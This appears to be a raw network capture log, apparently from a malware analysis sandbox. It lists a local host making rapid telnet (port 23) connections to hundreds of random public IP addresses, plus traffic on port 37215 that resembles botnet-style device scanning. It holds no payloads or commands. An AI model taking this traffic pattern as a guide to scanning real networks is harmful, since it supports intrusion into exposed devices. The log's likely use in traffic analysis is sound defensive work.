Dec 3, 2024 21:47:25.495628119 CET	40955	23	192.168.2.13	159.126.115.57
Dec 3, 2024 21:47:25.495640993 CET	40955	23	192.168.2.13	91.205.104.175
Dec 3, 2024 21:47:25.495649099 CET	40955	23	192.168.2.13	84.151.159.221
Dec 3, 2024 21:47:25.495661974 CET	40955	23	192.168.2.13	165.40.24.109
Dec 3, 2024 21:47:25.495671034 CET	40955	23	192.168.2.13	35.242.158.25
Dec 3, 2024 21:47:25.495671034 CET	40955	23	192.168.2.13	156.65.143.157
Dec 3, 2024 21:47:25.495680094 CET	40955	23	192.168.2.13	17.138.18.197
Dec 3, 2024 21:47:25.495686054 CET	40955	23	192.168.2.13	1.10.184.112
Dec 3, 2024 21:47:25.495687962 CET	40955	23	192.168.2.13	34.125.185.117
Dec 3, 2024 21:47:25.495688915 CET	40955	23	192.168.2.13	47.188.98.61
Dec 3, 2024 21:47:25.495699883 CET	40955	23	192.168.2.13	205.205.243.2
Dec 3, 2024 21:47:25.495714903 CET	40955	23	192.168.2.13	158.202.2.131
Dec 3, 2024 21:47:25.495716095 CET	40955	23	192.168.2.13	72.204.126.199
Dec 3, 2024 21:47:25.495726109 CET	40955	23	192.168.2.13	221.71.50.176
Dec 3, 2024 21:47:25.495726109 CET	40955	23	192.168.2.13	85.193.62.37
Dec 3, 2024 21:47:25.495733976 CET	40955	23	192.168.2.13	115.239.51.171
Dec 3, 2024 21:47:25.495763063 CET	40955	23	192.168.2.13	83.217.248.72
Dec 3, 2024 21:47:25.495764971 CET	40955	23	192.168.2.13	74.145.60.157
Dec 3, 2024 21:47:25.495771885 CET	40955	23	192.168.2.13	187.32.210.112
Dec 3, 2024 21:47:25.495780945 CET	40955	23	192.168.2.13	87.227.209.246
Dec 3, 2024 21:47:25.495781898 CET	40955	23	192.168.2.13	212.19.149.157
Dec 3, 2024 21:47:25.495789051 CET	40955	23	192.168.2.13	165.210.155.204
Dec 3, 2024 21:47:25.495798111 CET	40955	23	192.168.2.13	170.187.59.46
Dec 3, 2024 21:47:25.495810986 CET	40955	23	192.168.2.13	78.105.58.161
Dec 3, 2024 21:47:25.495810986 CET	40955	23	192.168.2.13	102.173.247.148
Dec 3, 2024 21:47:25.495820045 CET	40955	23	192.168.2.13	98.249.113.15
Dec 3, 2024 21:47:25.495834112 CET	40955	23	192.168.2.13	116.182.108.123
Dec 3, 2024 21:47:25.495834112 CET	40955	23	192.168.2.13	143.18.144.182
Dec 3, 2024 21:47:25.495835066 CET	40955	23	192.168.2.13	191.84.180.32
Dec 3, 2024 21:47:25.495846033 CET	40955	23	192.168.2.13	27.74.247.187
Dec 3, 2024 21:47:25.495851040 CET	40955	23	192.168.2.13	175.86.127.129
Dec 3, 2024 21:47:25.495867968 CET	40955	23	192.168.2.13	196.189.0.174
Dec 3, 2024 21:47:25.495882034 CET	40955	23	192.168.2.13	162.112.33.120
Dec 3, 2024 21:47:25.495882034 CET	40955	23	192.168.2.13	90.232.218.64
Dec 3, 2024 21:47:25.495887041 CET	40955	23	192.168.2.13	126.97.81.108
Dec 3, 2024 21:47:25.495899916 CET	40955	23	192.168.2.13	71.114.94.161
Dec 3, 2024 21:47:25.495899916 CET	40955	23	192.168.2.13	171.213.198.33
Dec 3, 2024 21:47:25.495913029 CET	40955	23	192.168.2.13	73.47.48.31
Dec 3, 2024 21:47:25.495914936 CET	40955	23	192.168.2.13	91.22.71.213
Dec 3, 2024 21:47:25.495923996 CET	40955	23	192.168.2.13	61.132.178.137
Dec 3, 2024 21:47:25.495924950 CET	40955	23	192.168.2.13	42.133.22.10
Dec 3, 2024 21:47:25.495948076 CET	40955	23	192.168.2.13	54.162.140.25
Dec 3, 2024 21:47:25.495949984 CET	40955	23	192.168.2.13	61.20.154.38
Dec 3, 2024 21:47:25.495959997 CET	40955	23	192.168.2.13	185.96.136.190
Dec 3, 2024 21:47:25.495959997 CET	40955	23	192.168.2.13	117.41.230.101
Dec 3, 2024 21:47:25.495976925 CET	40955	23	192.168.2.13	170.5.40.126
Dec 3, 2024 21:47:25.495980024 CET	40955	23	192.168.2.13	46.11.247.167
Dec 3, 2024 21:47:25.495991945 CET	40955	23	192.168.2.13	128.233.96.189
Dec 3, 2024 21:47:25.495995045 CET	40955	23	192.168.2.13	180.45.86.2
Dec 3, 2024 21:47:25.496001005 CET	40955	23	192.168.2.13	150.185.17.234
Dec 3, 2024 21:47:25.496016979 CET	40955	23	192.168.2.13	88.35.99.28
Dec 3, 2024 21:47:25.496022940 CET	40955	23	192.168.2.13	67.76.217.133
Dec 3, 2024 21:47:25.496032953 CET	40955	23	192.168.2.13	176.216.68.235
Dec 3, 2024 21:47:25.496037960 CET	40955	23	192.168.2.13	86.153.227.118
Dec 3, 2024 21:47:25.496042967 CET	40955	23	192.168.2.13	189.112.153.66
Dec 3, 2024 21:47:25.496048927 CET	40955	23	192.168.2.13	69.111.157.57
Dec 3, 2024 21:47:25.496068954 CET	40955	23	192.168.2.13	113.230.65.209
Dec 3, 2024 21:47:25.496071100 CET	40955	23	192.168.2.13	100.36.177.248
Dec 3, 2024 21:47:25.496072054 CET	40955	23	192.168.2.13	197.52.89.252
Dec 3, 2024 21:47:25.496088028 CET	40955	23	192.168.2.13	68.193.76.108
Dec 3, 2024 21:47:25.496094942 CET	40955	23	192.168.2.13	134.74.152.210
Dec 3, 2024 21:47:25.496108055 CET	40955	23	192.168.2.13	219.106.119.176
Dec 3, 2024 21:47:25.496110916 CET	40955	23	192.168.2.13	134.108.233.221
Dec 3, 2024 21:47:25.496114969 CET	40955	23	192.168.2.13	85.11.77.178
Dec 3, 2024 21:47:25.496126890 CET	40955	23	192.168.2.13	25.222.30.71
Dec 3, 2024 21:47:25.496140957 CET	40955	23	192.168.2.13	67.106.73.24
Dec 3, 2024 21:47:25.496162891 CET	40955	23	192.168.2.13	212.168.207.185
Dec 3, 2024 21:47:25.496170044 CET	40955	23	192.168.2.13	136.42.69.80
Dec 3, 2024 21:47:25.496175051 CET	40955	23	192.168.2.13	153.159.2.208
Dec 3, 2024 21:47:25.496185064 CET	40955	23	192.168.2.13	192.166.146.131
Dec 3, 2024 21:47:25.496185064 CET	40955	23	192.168.2.13	194.161.109.133
Dec 3, 2024 21:47:25.496198893 CET	40955	23	192.168.2.13	96.113.43.211
Dec 3, 2024 21:47:25.496225119 CET	40955	23	192.168.2.13	119.161.229.166
Dec 3, 2024 21:47:25.496227026 CET	40955	23	192.168.2.13	201.65.78.198
Dec 3, 2024 21:47:25.496232033 CET	40955	23	192.168.2.13	168.172.246.172
Dec 3, 2024 21:47:25.496237040 CET	40955	23	192.168.2.13	77.89.35.219
Dec 3, 2024 21:47:25.496241093 CET	40955	23	192.168.2.13	74.104.112.16
Dec 3, 2024 21:47:25.496256113 CET	40955	23	192.168.2.13	8.103.163.168
Dec 3, 2024 21:47:25.496257067 CET	40955	23	192.168.2.13	106.39.228.140
Dec 3, 2024 21:47:25.496257067 CET	40955	23	192.168.2.13	91.60.96.190
Dec 3, 2024 21:47:25.496269941 CET	40955	23	192.168.2.13	166.13.62.226
Dec 3, 2024 21:47:25.496273041 CET	40955	23	192.168.2.13	211.52.59.101
Dec 3, 2024 21:47:25.496283054 CET	40955	23	192.168.2.13	145.252.58.49
Dec 3, 2024 21:47:25.496298075 CET	40955	23	192.168.2.13	202.74.228.56
Dec 3, 2024 21:47:25.496318102 CET	40955	23	192.168.2.13	72.147.18.53
Dec 3, 2024 21:47:25.496326923 CET	40955	23	192.168.2.13	218.184.16.113
Dec 3, 2024 21:47:25.496340990 CET	40955	23	192.168.2.13	115.115.63.182
Dec 3, 2024 21:47:25.496340990 CET	40955	23	192.168.2.13	131.137.105.93
Dec 3, 2024 21:47:25.496341944 CET	40955	23	192.168.2.13	54.126.229.233
Dec 3, 2024 21:47:25.496356010 CET	40955	23	192.168.2.13	223.55.29.188
Dec 3, 2024 21:47:25.496366978 CET	40955	23	192.168.2.13	218.20.247.200
Dec 3, 2024 21:47:25.496377945 CET	40955	23	192.168.2.13	79.27.148.207
Dec 3, 2024 21:47:25.496382952 CET	40955	23	192.168.2.13	1.177.109.123
Dec 3, 2024 21:47:25.496387959 CET	40955	23	192.168.2.13	168.210.138.247
Dec 3, 2024 21:47:25.496411085 CET	40955	23	192.168.2.13	142.32.252.254
Dec 3, 2024 21:47:25.496426105 CET	40955	23	192.168.2.13	192.96.63.172
Dec 3, 2024 21:47:25.496433973 CET	40955	23	192.168.2.13	82.62.200.11
Dec 3, 2024 21:47:25.496433973 CET	40955	23	192.168.2.13	106.46.6.187
Dec 3, 2024 21:47:25.496436119 CET	40955	23	192.168.2.13	85.54.25.35
Dec 3, 2024 21:47:25.496440887 CET	40955	23	192.168.2.13	193.187.5.196
Dec 3, 2024 21:47:25.496452093 CET	40955	23	192.168.2.13	54.232.239.225
Dec 3, 2024 21:47:25.496463060 CET	40955	23	192.168.2.13	168.85.179.110
Dec 3, 2024 21:47:25.496467113 CET	40955	23	192.168.2.13	210.72.116.147
Dec 3, 2024 21:47:25.496479034 CET	40955	23	192.168.2.13	157.150.168.13
Dec 3, 2024 21:47:25.496484995 CET	40955	23	192.168.2.13	86.15.79.206
Dec 3, 2024 21:47:25.496499062 CET	40955	23	192.168.2.13	122.34.72.125
Dec 3, 2024 21:47:25.496504068 CET	40955	23	192.168.2.13	105.251.57.159
Dec 3, 2024 21:47:25.496505022 CET	40955	23	192.168.2.13	75.224.194.20
Dec 3, 2024 21:47:25.496505022 CET	40955	23	192.168.2.13	171.147.38.159
Dec 3, 2024 21:47:25.496525049 CET	40955	23	192.168.2.13	67.152.175.162
Dec 3, 2024 21:47:25.496539116 CET	40955	23	192.168.2.13	129.23.176.73
Dec 3, 2024 21:47:25.496557951 CET	40955	23	192.168.2.13	133.77.121.8
Dec 3, 2024 21:47:25.496561050 CET	40955	23	192.168.2.13	205.183.19.119
Dec 3, 2024 21:47:25.496581078 CET	40955	23	192.168.2.13	216.52.195.3
Dec 3, 2024 21:47:25.496592999 CET	40955	23	192.168.2.13	208.246.197.226
Dec 3, 2024 21:47:25.496606112 CET	40955	23	192.168.2.13	27.21.39.85
Dec 3, 2024 21:47:25.496608019 CET	40955	23	192.168.2.13	24.19.45.155
Dec 3, 2024 21:47:25.496607065 CET	40955	23	192.168.2.13	167.68.136.198
Dec 3, 2024 21:47:25.496620893 CET	40955	23	192.168.2.13	20.185.190.110
Dec 3, 2024 21:47:25.496623993 CET	40955	23	192.168.2.13	172.226.93.213
Dec 3, 2024 21:47:25.496635914 CET	40955	23	192.168.2.13	190.217.6.1
Dec 3, 2024 21:47:25.496654987 CET	40955	23	192.168.2.13	125.169.197.59
Dec 3, 2024 21:47:25.496670961 CET	40955	23	192.168.2.13	63.129.187.151
Dec 3, 2024 21:47:25.496678114 CET	40955	23	192.168.2.13	153.30.143.71
Dec 3, 2024 21:47:25.496686935 CET	40955	23	192.168.2.13	171.21.178.201
Dec 3, 2024 21:47:25.496689081 CET	40955	23	192.168.2.13	100.141.210.25
Dec 3, 2024 21:47:25.496705055 CET	40955	23	192.168.2.13	84.20.118.156
Dec 3, 2024 21:47:25.496711969 CET	40955	23	192.168.2.13	108.79.100.134
Dec 3, 2024 21:47:25.496714115 CET	40955	23	192.168.2.13	150.25.27.237
Dec 3, 2024 21:47:25.496726036 CET	40955	23	192.168.2.13	25.156.175.192
Dec 3, 2024 21:47:25.496728897 CET	40955	23	192.168.2.13	27.33.126.47
Dec 3, 2024 21:47:25.496746063 CET	40955	23	192.168.2.13	212.80.94.82
Dec 3, 2024 21:47:25.496759892 CET	40955	23	192.168.2.13	181.91.113.116
Dec 3, 2024 21:47:25.496761084 CET	40955	23	192.168.2.13	49.66.58.203
Dec 3, 2024 21:47:25.496761084 CET	40955	23	192.168.2.13	120.74.146.80
Dec 3, 2024 21:47:25.496761084 CET	40955	23	192.168.2.13	5.105.117.202
Dec 3, 2024 21:47:25.496777058 CET	40955	23	192.168.2.13	183.74.221.171
Dec 3, 2024 21:47:25.496786118 CET	40955	23	192.168.2.13	137.158.45.199
Dec 3, 2024 21:47:25.496797085 CET	40955	23	192.168.2.13	106.182.192.31
Dec 3, 2024 21:47:25.496814966 CET	40955	23	192.168.2.13	203.14.156.229
Dec 3, 2024 21:47:25.496825933 CET	40955	23	192.168.2.13	58.181.14.250
Dec 3, 2024 21:47:25.496829033 CET	40955	23	192.168.2.13	23.1.124.141
Dec 3, 2024 21:47:25.496829033 CET	40955	23	192.168.2.13	96.36.191.208
Dec 3, 2024 21:47:25.496843100 CET	40955	23	192.168.2.13	37.108.166.13
Dec 3, 2024 21:47:25.496844053 CET	40955	23	192.168.2.13	85.186.178.211
Dec 3, 2024 21:47:25.496869087 CET	40955	23	192.168.2.13	68.33.157.53
Dec 3, 2024 21:47:25.496886015 CET	40955	23	192.168.2.13	63.221.223.203
Dec 3, 2024 21:47:25.496886969 CET	40955	23	192.168.2.13	191.99.1.63
Dec 3, 2024 21:47:25.496911049 CET	40955	23	192.168.2.13	177.178.9.196
Dec 3, 2024 21:47:25.496916056 CET	40955	23	192.168.2.13	190.122.222.64
Dec 3, 2024 21:47:25.496911049 CET	40955	23	192.168.2.13	105.192.208.160
Dec 3, 2024 21:47:25.496917009 CET	40955	23	192.168.2.13	163.21.234.124
Dec 3, 2024 21:47:25.496911049 CET	40955	23	192.168.2.13	198.61.189.33
Dec 3, 2024 21:47:25.496931076 CET	40955	23	192.168.2.13	146.83.155.206
Dec 3, 2024 21:47:25.496953011 CET	40955	23	192.168.2.13	52.234.248.238
Dec 3, 2024 21:47:25.496953011 CET	40955	23	192.168.2.13	158.246.174.54
Dec 3, 2024 21:47:25.496965885 CET	40955	23	192.168.2.13	81.146.239.188
Dec 3, 2024 21:47:25.496975899 CET	40955	23	192.168.2.13	196.164.253.26
Dec 3, 2024 21:47:25.496978045 CET	40955	23	192.168.2.13	173.222.221.52
Dec 3, 2024 21:47:25.496994972 CET	40955	23	192.168.2.13	213.249.10.92
Dec 3, 2024 21:47:25.496995926 CET	40955	23	192.168.2.13	1.43.233.188
Dec 3, 2024 21:47:25.497006893 CET	40955	23	192.168.2.13	137.174.13.215
Dec 3, 2024 21:47:25.497015953 CET	40955	23	192.168.2.13	23.169.144.178
Dec 3, 2024 21:47:25.497025967 CET	40955	23	192.168.2.13	144.108.156.11
Dec 3, 2024 21:47:25.497025967 CET	40955	23	192.168.2.13	170.191.4.57
Dec 3, 2024 21:47:25.497035980 CET	40955	23	192.168.2.13	102.33.241.93
Dec 3, 2024 21:47:25.497041941 CET	40955	23	192.168.2.13	176.228.13.154
Dec 3, 2024 21:47:25.497054100 CET	40955	23	192.168.2.13	219.87.237.211
Dec 3, 2024 21:47:25.497073889 CET	40955	23	192.168.2.13	168.103.68.187
Dec 3, 2024 21:47:25.497073889 CET	40955	23	192.168.2.13	139.193.232.143
Dec 3, 2024 21:47:25.497086048 CET	40955	23	192.168.2.13	70.223.20.111
Dec 3, 2024 21:47:25.497100115 CET	40955	23	192.168.2.13	94.177.170.134
Dec 3, 2024 21:47:25.497109890 CET	40955	23	192.168.2.13	114.201.6.81
Dec 3, 2024 21:47:25.497109890 CET	40955	23	192.168.2.13	153.103.160.21
Dec 3, 2024 21:47:25.497112989 CET	40955	23	192.168.2.13	66.98.145.93
Dec 3, 2024 21:47:25.497113943 CET	40955	23	192.168.2.13	174.96.146.160
Dec 3, 2024 21:47:25.497128010 CET	40955	23	192.168.2.13	157.194.64.2
Dec 3, 2024 21:47:25.497131109 CET	40955	23	192.168.2.13	5.245.142.53
Dec 3, 2024 21:47:25.497136116 CET	40955	23	192.168.2.13	104.137.255.76
Dec 3, 2024 21:47:25.497153044 CET	40955	23	192.168.2.13	27.62.136.11
Dec 3, 2024 21:47:25.497157097 CET	40955	23	192.168.2.13	51.178.226.140
Dec 3, 2024 21:47:25.497169971 CET	40955	23	192.168.2.13	96.157.216.227
Dec 3, 2024 21:47:25.497172117 CET	40955	23	192.168.2.13	85.78.68.233
Dec 3, 2024 21:47:25.497184038 CET	40955	23	192.168.2.13	183.52.158.131
Dec 3, 2024 21:47:25.497201920 CET	40955	23	192.168.2.13	93.218.39.73
Dec 3, 2024 21:47:25.497201920 CET	40955	23	192.168.2.13	77.195.125.164
Dec 3, 2024 21:47:25.497205019 CET	40955	23	192.168.2.13	180.129.78.220
Dec 3, 2024 21:47:25.497220039 CET	40955	23	192.168.2.13	42.117.19.75
Dec 3, 2024 21:47:25.497220039 CET	40955	23	192.168.2.13	179.12.93.176
Dec 3, 2024 21:47:25.497236013 CET	40955	23	192.168.2.13	87.183.185.209
Dec 3, 2024 21:47:25.497258902 CET	40955	23	192.168.2.13	192.139.186.166
Dec 3, 2024 21:47:25.497261047 CET	40955	23	192.168.2.13	41.161.156.251
Dec 3, 2024 21:47:25.497277021 CET	40955	23	192.168.2.13	100.19.56.87
Dec 3, 2024 21:47:25.497277021 CET	40955	23	192.168.2.13	195.60.173.34
Dec 3, 2024 21:47:25.497277021 CET	40955	23	192.168.2.13	136.15.191.31
Dec 3, 2024 21:47:25.497288942 CET	40955	23	192.168.2.13	84.132.120.150
Dec 3, 2024 21:47:25.497292995 CET	40955	23	192.168.2.13	45.127.25.211
Dec 3, 2024 21:47:25.497318983 CET	40955	23	192.168.2.13	4.229.128.50
Dec 3, 2024 21:47:25.497319937 CET	40955	23	192.168.2.13	106.120.37.237
Dec 3, 2024 21:47:25.497328997 CET	40955	23	192.168.2.13	38.212.134.22
Dec 3, 2024 21:47:25.497337103 CET	40955	23	192.168.2.13	100.164.110.71
Dec 3, 2024 21:47:25.497347116 CET	40955	23	192.168.2.13	208.173.171.46
Dec 3, 2024 21:47:25.497359037 CET	40955	23	192.168.2.13	44.163.87.252
Dec 3, 2024 21:47:25.497369051 CET	40955	23	192.168.2.13	143.84.99.111
Dec 3, 2024 21:47:25.497380018 CET	40955	23	192.168.2.13	168.84.200.234
Dec 3, 2024 21:47:25.497391939 CET	40955	23	192.168.2.13	133.205.250.215
Dec 3, 2024 21:47:25.497401953 CET	40955	23	192.168.2.13	161.67.40.35
Dec 3, 2024 21:47:25.497401953 CET	40955	23	192.168.2.13	201.58.90.32
Dec 3, 2024 21:47:25.497411966 CET	40955	23	192.168.2.13	46.187.132.162
Dec 3, 2024 21:47:25.497417927 CET	40955	23	192.168.2.13	69.166.18.24
Dec 3, 2024 21:47:25.497421026 CET	40955	23	192.168.2.13	190.246.169.67
Dec 3, 2024 21:47:25.497431993 CET	40955	23	192.168.2.13	12.42.0.8
Dec 3, 2024 21:47:25.497433901 CET	40955	23	192.168.2.13	9.189.49.225
Dec 3, 2024 21:47:25.497452974 CET	40955	23	192.168.2.13	118.150.176.104
Dec 3, 2024 21:47:25.497463942 CET	40955	23	192.168.2.13	117.46.68.41
Dec 3, 2024 21:47:25.497463942 CET	40955	23	192.168.2.13	83.62.149.108
Dec 3, 2024 21:47:25.497473001 CET	40955	23	192.168.2.13	121.4.118.197
Dec 3, 2024 21:47:25.497482061 CET	40955	23	192.168.2.13	60.2.227.80
Dec 3, 2024 21:47:25.497493982 CET	40955	23	192.168.2.13	161.2.157.131
Dec 3, 2024 21:47:25.497514009 CET	40955	23	192.168.2.13	137.7.9.108
Dec 3, 2024 21:47:25.497514009 CET	40955	23	192.168.2.13	160.210.190.233
Dec 3, 2024 21:47:25.497524977 CET	40955	23	192.168.2.13	185.237.169.247
Dec 3, 2024 21:47:25.497529030 CET	40955	23	192.168.2.13	135.33.97.187
Dec 3, 2024 21:47:25.497534037 CET	40955	23	192.168.2.13	138.100.241.224
Dec 3, 2024 21:47:25.497538090 CET	40955	23	192.168.2.13	115.174.224.157
Dec 3, 2024 21:47:25.497572899 CET	40955	23	192.168.2.13	41.72.164.53
Dec 3, 2024 21:47:25.497585058 CET	40955	23	192.168.2.13	152.122.32.12
Dec 3, 2024 21:47:25.497586966 CET	40955	23	192.168.2.13	121.165.146.144
Dec 3, 2024 21:47:25.497596025 CET	40955	23	192.168.2.13	36.78.148.108
Dec 3, 2024 21:47:25.497601032 CET	40955	23	192.168.2.13	112.222.35.20
Dec 3, 2024 21:47:25.497605085 CET	40955	23	192.168.2.13	134.155.38.130
Dec 3, 2024 21:47:25.497622967 CET	40955	23	192.168.2.13	48.74.11.250
Dec 3, 2024 21:47:25.497622967 CET	40955	23	192.168.2.13	116.245.81.22
Dec 3, 2024 21:47:25.497637033 CET	40955	23	192.168.2.13	4.11.51.231
Dec 3, 2024 21:47:25.497648001 CET	40955	23	192.168.2.13	91.84.75.32
Dec 3, 2024 21:47:25.497673988 CET	40955	23	192.168.2.13	137.159.106.222
Dec 3, 2024 21:47:25.513387918 CET	37215	34043	41.78.161.48	192.168.2.13
Dec 3, 2024 21:47:25.513406992 CET	37215	34043	41.180.245.216	192.168.2.13
Dec 3, 2024 21:47:25.513430119 CET	37215	34043	156.2.36.75	192.168.2.13
Dec 3, 2024 21:47:25.513494968 CET	34043	37215	192.168.2.13	41.180.245.216
Dec 3, 2024 21:47:25.513583899 CET	34043	37215	192.168.2.13	41.78.161.48
Dec 3, 2024 21:47:25.513595104 CET	34043	37215	192.168.2.13	156.2.36.75
Dec 3, 2024 21:47:25.514354944 CET	37215	51292	41.130.219.75	192.168.2.13
Dec 3, 2024 21:47:25.515187025 CET	37215	49998	197.216.132.14	192.168.2.13
Dec 3, 2024 21:47:25.515631914 CET	37215	52870	156.230.149.174	192.168.2.13
Dec 3, 2024 21:47:25.516248941 CET	37215	35446	41.18.160.244	192.168.2.13
Dec 3, 2024 21:47:25.516470909 CET	37215	35522	41.18.160.244	192.168.2.13
Dec 3, 2024 21:47:25.516539097 CET	35522	37215	192.168.2.13	41.18.160.244
Dec 3, 2024 21:47:25.516618013 CET	35522	37215	192.168.2.13	41.18.160.244
Dec 3, 2024 21:47:25.516813040 CET	37215	47096	41.60.115.8	192.168.2.13
Dec 3, 2024 21:47:25.517076969 CET	56796	37215	192.168.2.13	41.180.245.216
Dec 3, 2024 21:47:25.517539024 CET	37215	43458	197.131.66.97	192.168.2.13
Dec 3, 2024 21:47:25.517591953 CET	51298	37215	192.168.2.13	41.78.161.48
Dec 3, 2024 21:47:25.518071890 CET	54130	37215	192.168.2.13	156.2.36.75
Dec 3, 2024 21:47:25.518095016 CET	37215	36714	197.21.36.108	192.168.2.13
Dec 3, 2024 21:47:25.518721104 CET	37215	38170	197.57.94.143	192.168.2.13
Dec 3, 2024 21:47:25.519040108 CET	37215	59244	41.196.63.217	192.168.2.13
Dec 3, 2024 21:47:25.519354105 CET	37215	41900	41.252.167.141	192.168.2.13
Dec 3, 2024 21:47:25.519607067 CET	37215	60122	156.167.186.216	192.168.2.13
Dec 3, 2024 21:47:25.519906998 CET	37215	36642	41.78.110.252	192.168.2.13
Dec 3, 2024 21:47:25.520221949 CET	37215	59260	156.9.237.76	192.168.2.13
Dec 3, 2024 21:47:25.540827036 CET	37215	57744	156.224.249.242	192.168.2.13
Dec 3, 2024 21:47:25.540884018 CET	37215	37690	197.66.54.252	192.168.2.13
Dec 3, 2024 21:47:25.541078091 CET	37215	44252	41.59.158.178	192.168.2.13
Dec 3, 2024 21:47:25.541083097 CET	37215	51858	156.137.59.179	192.168.2.13
Dec 3, 2024 21:47:25.541198015 CET	37215	49896	156.186.192.169	192.168.2.13
Dec 3, 2024 21:47:25.541290045 CET	37215	47108	156.1.31.252	192.168.2.13
Dec 3, 2024 21:47:25.541511059 CET	23	34566	185.229.236.203	192.168.2.13
Dec 3, 2024 21:47:25.541582108 CET	37215	47286	156.1.31.252	192.168.2.13
Dec 3, 2024 21:47:25.541666031 CET	47286	37215	192.168.2.13	156.1.31.252
Dec 3, 2024 21:47:25.541666031 CET	47286	37215	192.168.2.13	156.1.31.252
Dec 3, 2024 21:47:25.541816950 CET	37215	47568	156.227.147.148	192.168.2.13
Dec 3, 2024 21:47:25.541838884 CET	34566	23	192.168.2.13	185.229.236.203
Dec 3, 2024 21:47:25.541912079 CET	37215	59258	197.85.113.143	192.168.2.13
Dec 3, 2024 21:47:25.541933060 CET	37215	41344	41.206.100.21	192.168.2.13
Dec 3, 2024 21:47:25.542035103 CET	37215	34438	41.11.208.38	192.168.2.13
Dec 3, 2024 21:47:25.542081118 CET	37215	46270	197.101.126.167	192.168.2.13
Dec 3, 2024 21:47:25.542212963 CET	37215	33198	41.204.185.224	192.168.2.13
Dec 3, 2024 21:47:25.542217970 CET	37215	34534	197.105.1.48	192.168.2.13
Dec 3, 2024 21:47:25.542309046 CET	35010	23	192.168.2.13	185.229.236.203
Dec 3, 2024 21:47:25.542397022 CET	37215	47650	156.18.176.47	192.168.2.13
Dec 3, 2024 21:47:25.542459965 CET	37215	43096	197.191.47.123	192.168.2.13
Dec 3, 2024 21:47:25.542633057 CET	37215	46910	156.244.170.80	192.168.2.13
Dec 3, 2024 21:47:25.542664051 CET	37215	58070	156.241.177.227	192.168.2.13
Dec 3, 2024 21:47:25.554419994 CET	37215	51292	41.130.219.75	192.168.2.13
Dec 3, 2024 21:47:25.558376074 CET	37215	36714	197.21.36.108	192.168.2.13
Dec 3, 2024 21:47:25.558418036 CET	37215	43458	197.131.66.97	192.168.2.13
Dec 3, 2024 21:47:25.558432102 CET	37215	47096	41.60.115.8	192.168.2.13
Dec 3, 2024 21:47:25.558434963 CET	37215	35446	41.18.160.244	192.168.2.13
Dec 3, 2024 21:47:25.558451891 CET	37215	52870	156.230.149.174	192.168.2.13
Dec 3, 2024 21:47:25.558459997 CET	37215	49998	197.216.132.14	192.168.2.13
Dec 3, 2024 21:47:25.562422991 CET	37215	36642	41.78.110.252	192.168.2.13
Dec 3, 2024 21:47:25.562428951 CET	37215	60122	156.167.186.216	192.168.2.13
Dec 3, 2024 21:47:25.562450886 CET	37215	41900	41.252.167.141	192.168.2.13
Dec 3, 2024 21:47:25.562453985 CET	37215	59244	41.196.63.217	192.168.2.13
Dec 3, 2024 21:47:25.562458038 CET	37215	38170	197.57.94.143	192.168.2.13
Dec 3, 2024 21:47:25.586404085 CET	37215	47650	156.18.176.47	192.168.2.13
Dec 3, 2024 21:47:25.586446047 CET	37215	34534	197.105.1.48	192.168.2.13
Dec 3, 2024 21:47:25.586451054 CET	37215	33198	41.204.185.224	192.168.2.13
Dec 3, 2024 21:47:25.586478949 CET	37215	46270	197.101.126.167	192.168.2.13
Dec 3, 2024 21:47:25.586483002 CET	37215	34438	41.11.208.38	192.168.2.13
Dec 3, 2024 21:47:25.586519957 CET	37215	41344	41.206.100.21	192.168.2.13
Dec 3, 2024 21:47:25.586558104 CET	37215	59258	197.85.113.143	192.168.2.13
Dec 3, 2024 21:47:25.586627960 CET	37215	47568	156.227.147.148	192.168.2.13
Dec 3, 2024 21:47:25.586632967 CET	37215	47108	156.1.31.252	192.168.2.13
Dec 3, 2024 21:47:25.586649895 CET	37215	49896	156.186.192.169	192.168.2.13
Dec 3, 2024 21:47:25.586695910 CET	37215	51858	156.137.59.179	192.168.2.13
Dec 3, 2024 21:47:25.586707115 CET	37215	44252	41.59.158.178	192.168.2.13
Dec 3, 2024 21:47:25.586724043 CET	37215	37690	197.66.54.252	192.168.2.13
Dec 3, 2024 21:47:25.586730003 CET	37215	57744	156.224.249.242	192.168.2.13
Dec 3, 2024 21:47:25.586750984 CET	37215	59260	156.9.237.76	192.168.2.13
Dec 3, 2024 21:47:25.586760044 CET	37215	58070	156.241.177.227	192.168.2.13
Dec 3, 2024 21:47:25.586770058 CET	37215	46910	156.244.170.80	192.168.2.13
Dec 3, 2024 21:47:25.586783886 CET	37215	43096	197.191.47.123	192.168.2.13
Dec 3, 2024 21:47:25.598748922 CET	37215	34998	197.189.180.232	192.168.2.13
Dec 3, 2024 21:47:25.598762989 CET	37215	47708	197.241.234.235	192.168.2.13
Dec 3, 2024 21:47:25.598870039 CET	37215	51976	156.41.38.126	192.168.2.13
Dec 3, 2024 21:47:25.598885059 CET	37215	51982	197.155.147.73	192.168.2.13
Dec 3, 2024 21:47:25.598975897 CET	37215	42164	197.22.134.226	192.168.2.13
Dec 3, 2024 21:47:25.599013090 CET	37215	60128	156.142.143.175	192.168.2.13
Dec 3, 2024 21:47:25.599219084 CET	37215	55416	156.155.65.188	192.168.2.13
Dec 3, 2024 21:47:25.599237919 CET	37215	36698	41.26.12.27	192.168.2.13
Dec 3, 2024 21:47:25.599541903 CET	37215	54482	41.159.45.219	192.168.2.13
Dec 3, 2024 21:47:25.599560976 CET	37215	38252	197.217.135.4	192.168.2.13
Dec 3, 2024 21:47:25.599699974 CET	37215	52824	41.70.169.235	192.168.2.13
Dec 3, 2024 21:47:25.599760056 CET	37215	51350	156.120.218.74	192.168.2.13
Dec 3, 2024 21:47:25.599858999 CET	37215	53170	197.127.150.255	192.168.2.13
Dec 3, 2024 21:47:25.599896908 CET	37215	53346	197.127.150.255	192.168.2.13
Dec 3, 2024 21:47:25.599986076 CET	37215	53918	156.115.33.143	192.168.2.13
Dec 3, 2024 21:47:25.599986076 CET	53346	37215	192.168.2.13	197.127.150.255
Dec 3, 2024 21:47:25.600023985 CET	37215	51276	197.49.143.54	192.168.2.13
Dec 3, 2024 21:47:25.600030899 CET	37215	35676	197.66.11.86	192.168.2.13
Dec 3, 2024 21:47:25.600060940 CET	53346	37215	192.168.2.13	197.127.150.255
Dec 3, 2024 21:47:25.600132942 CET	37215	42048	197.140.239.213	192.168.2.13
Dec 3, 2024 21:47:25.600143909 CET	37215	49042	156.81.165.124	192.168.2.13
Dec 3, 2024 21:47:25.600259066 CET	37215	53288	197.197.99.27	192.168.2.13
Dec 3, 2024 21:47:25.600274086 CET	37215	39234	197.70.204.94	192.168.2.13
Dec 3, 2024 21:47:25.600572109 CET	37215	59084	41.248.180.24	192.168.2.13
